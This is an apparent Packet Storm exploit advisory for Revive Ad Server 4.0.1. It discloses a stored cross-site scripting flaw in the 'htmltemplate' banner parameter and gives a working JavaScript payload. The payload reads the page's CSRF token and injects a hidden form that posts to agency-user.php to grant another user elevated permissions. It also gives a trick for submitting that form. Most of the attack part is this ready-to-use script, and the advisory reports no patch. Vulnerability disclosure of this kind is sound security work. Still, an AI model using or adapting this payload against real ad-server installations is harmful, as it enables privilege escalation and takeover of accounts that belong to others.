Revive Ad Server 4.0.1 Cross Site Request Forgery / Cross Site Scripting

Type packetstorm
Reporter Cyril Vallicari
Modified 2017-04-26T00:00:00


# Exploit Title: XSRF Stored Revive Ad Server 4.0.1  
# Date: 24/04/2017  
# Exploit Author: Cyril Vallicari / HTTPCS / ZIWIT  
# Vendor Website :  
# Software download :  
# Version: 4.0.1  
# Tested on: Windows 7 x64 SP1 / Kali Linux  
Description :  
A vulnerability has been discovered in Revive Ad Server, which can be  
exploited by malicious people to conduct cross-site scripting attacks.  
When you create a banner using Generic HTML Banner, input  
passed via the 'htmltemplate' parameter to '/banner-edit.php' is not  
properly sanitised before being returned to the user (This is probably  
expected as it's an html banner). But, this can be exploited  
to execute arbitrary HTML and script code in a user's browser session in  
context of an affected site.  
This XSS vector allow to execute scripts to gather the CSRF token  
and submit a form to update user rights  
Here's the script :  
---------------------- Javascript-------------------------------  
var tok = document.getElementsByName('token')[0].value;  
var txt = '<form method="POST" id="hacked" action="agency-user.php">'  
txt += '<input type="hidden" name="submit[]" value="1"/>'  
txt += '<input type="hidden" name="token" value="' + tok + '"/>'  
txt += '<input type="hidden" name="userid" value="2"/>'  
txt += '<input type="hidden" name="email_address" value=""/>'  
txt += '<input type="hidden" name="agencyid" value="1"/>'  
txt += '<input type="hidden" name="permissions[]" value="10"/>'  
txt += '</form>'  
var d1 = document.getElementById('firstLevelContent');  
d1.insertAdjacentHTML('afterend', txt);  
---------------------- Javascript End-------------------------------  
(little trick to submit a form that has a "submit" parameter, just use a  
list "submit[]")  
This will update user rights and allow to manage accounts  
POC video :  
Patch : No patch yet